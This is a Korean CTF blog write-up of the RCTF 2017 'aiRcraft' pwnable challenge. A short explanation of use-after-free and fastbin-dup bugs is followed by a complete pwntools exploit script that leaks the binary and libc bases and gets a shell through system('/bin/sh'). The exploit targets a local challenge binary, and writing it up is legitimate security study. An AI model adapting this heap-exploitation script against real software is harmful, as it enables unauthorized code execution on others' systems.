ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • RCTF 2017 AirCraft
    Pwnable/CTF 2017. 11. 8. 10:40

    간단하게 익스방법만.


    buy를 이용하면 내가 입력하는 데이터와 힙 주소를 저장해주는 포인터와 함수 포인터 등을 가지고있다.

    이것을 free하면 함수 포인터를 NULL로 초기화를 안 해줘서 이것을이용하여서 pie base릭을 하고 plt got주소를 구할수있다.
    build를 이용하면 포인터 하나를 할당하고 그곳에 내 데이터가 들어가는 할당된 청크 주소가 저장된다. 그 동시에 내 사이즈에 맞춰서 할당한다.

    이때 전역 포인터 -> 청크 주소 저장 포인터 -> 내 데이터가 들어가는 청크(포인터)
    이때 전역포인터가 더블포인터라 청크주소를 저장 하는 포인터가 가르키는 주소에있는 값을 출력한다. 이것을 노려서 라이브러리 릭을하였다.


    enter를 쓰면 free가되면서 청크 주소를 저장하는 포인터와 내 데이터가 들어가는 포인터가 프리가된다.

    하지만 전역 포인터를 NULL로 초기화를 시키지 않기때문에 

    따로 전역 주소를 저장하는 포인터가 생기지 않는 buy를 이용하여서 uaf를 하고 got주소를 덮으면 전역 포인터 -> puts_got -> 라이브러리로 릭을 할수있다.


    select 를하면 buy 포인터와 build 포인터가 합쳐진다? build에 주소값이 들어가지는데 enter를 할때 build에 주소값이 있다면 free를 시킨다. 이때 할당이 되어있는지 확인을 안 하고 먼저 select를 하고있는지 확인을 안 하며 fastbin이여서 select 로 합쳐서 fastbin dup를 일으킬수있다.


    select("QWE",1,2# 2-> qwe 

    exit() 

    select("EWQ",1,3#3 -> ewq

    exit()

    select("QWE",1,4#4 -> qwe

    exit()

    이런식으로 합치고 그 아래 코드로 enter를 하면 fastbin에 qwe ewq qwe 가 들어가게할수있다

    buy 포인터도 NULL로 초기화를 안 해주기때문에 UAF를 이용하여 fake struct를 짜줘서 함수 포인터를 시스템으로 바꿔주면 쉘을 딸 수 있다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    from pwn import *
       
    p=process("./aiRcraft")
    elf=ELF("./aiRcraft")
     
     
    def buy(company,name):
        p.recvuntil(': ')
            p.sendline("1")
            print p.recv(1024)
        p.sendline(str(company))
            p.recvuntil(': ')
            p.sendline(name)
              
    def build(size,name):
            p.recvuntil(': ')
            p.sendline("2")
            p.recvuntil('? ')
            p.sendline(str(size))
            p.recvuntil(': ')
            p.sendline(name)
     
    def enter(idx,what):
            p.recvuntil(': ')
            p.sendline("3")
            p.recvuntil('? ')
            p.sendline(str(idx))
            p.recvuntil(': ')
            p.sendline(str(what))
     
    def select(name,what,idx):
            p.recvuntil(': ')
            p.sendline("4")
            p.recvuntil('? ')
            p.sendline(name)
            p.recvuntil(': ')
            p.sendline(str(what))
            if(what==1):
                    p.recvuntil('? ')
                    p.sendline(str(idx))
     
    def exit():
        p.recvuntil(': ')
        p.sendline("3")
     
    print "0x202080 build pointer"
    print "0x202138 company pointer"
     
    buy(1,"AAAA"#cr
    select("AAAA",2,0#del
    build(64,"B"*64#uaf
    buy(1,"ZZZZ"#cr
    select("ZZZZ",1,0#print
     
    print p.recvuntil('to ')
    print p.recvuntil("B"*64)
    free_pointer = u64(p.recv(6)+"\x00\x00")
    binary_base = free_pointer - 0xb7d
    puts_got = binary_base + elf.got['puts']
    puts_plt = binary_base + elf.plt['puts']
    print hex(free_pointer)
    print hex(binary_base)
    print hex(puts_got)
    print hex(puts_plt)
     
    exit()
     
    enter(0,2#build 0,company(ZZZZ) free
    build(40,"AAAA")
    enter(1,2)
    buy(4,"C"*16#dummy heap uaf
    buy(1,p64(puts_got)) #build pointer uaf 
    select(p64(puts_got),1,1)
     
    p.recvuntil(' to ')
    puts = u64(p.recv(6)+"\x00\x00")
    libc_base = puts - 0x6f690
    system = libc_base + 0x45390
    #system = libc_base + 0xf0274
    free_hook = libc_base + 0x3c67a8
    malloc_hook = libc_base + 0x3c4b10
    print hex(puts)
    print hex(libc_base)
    print hex(system)
    print hex(free_hook)
    print hex(malloc_hook)
    exit()
     
     
    buy(4,"aaaabbbbcccc")
    buy(4,"QWE")
    buy(4,"EWQ")
    build(256,"zzzz"#2
    build(256,"qqqq"#3
    build(256,"tttt"#4
    enter(2,2)
    select("QWE",1,2)
    p.recvuntil('to ')
    heap_base = u64(p.recv(6)+"\x00\x00"- 0x730
    print hex(heap_base)
    buy_attack = heap_base + 0x160
    print hex(buy_attack)
    exit()
    build(256,"zzzz"#2,5
    build(65,"A"*56+p64(buy_attack+0x10))                  #6
     
    select("QWE",1,2# 2-> qwe 
    exit() 
    select("EWQ",1,3#3 -> ewq
    exit()
    select("QWE",1,4#4 -> qwe
    exit()
     
    enter(2,2#QWE
    enter(3,2#EWQ
    enter(4,2#QWE fastbin dup
     
    build(0x40,p64(buy_attack))
    build(0x40,"CCCC")
    build(0x40,p64(buy_attack))
     
    print hex(buy_attack)
     
    payload = "/bin/sh\x00"
    payload += "\x00"*40
    payload += p64(heap_base + 0x8e0)
    payload += p64(heap_base + 0x210)
    payload += p64(system)
     
     
    build(0x48,payload) #plane /bin/sh == airport idx 9
    #select("/bin/sh",2,2)
     
     
    p.interactive()
     
    cs


    문제를 풀고 귀찮아서 write up을 미루다가 작성하게 되어서 설명에 실수가 있을수있습니다 ㅠ

    'Pwnable > CTF' 카테고리의 다른 글

    CAT_SECURITY WhiteHackerLeague  (2) 2017.11.19
    RCTF 2017 RNOTE  (0) 2017.11.08
    RCTF 2015 SHAXPIAN  (0) 2017.11.04
    RCTF 2015 welpwn  (0) 2017.11.04
    Belluminar 2016 remuheap  (0) 2017.10.19
Designed by Tistory.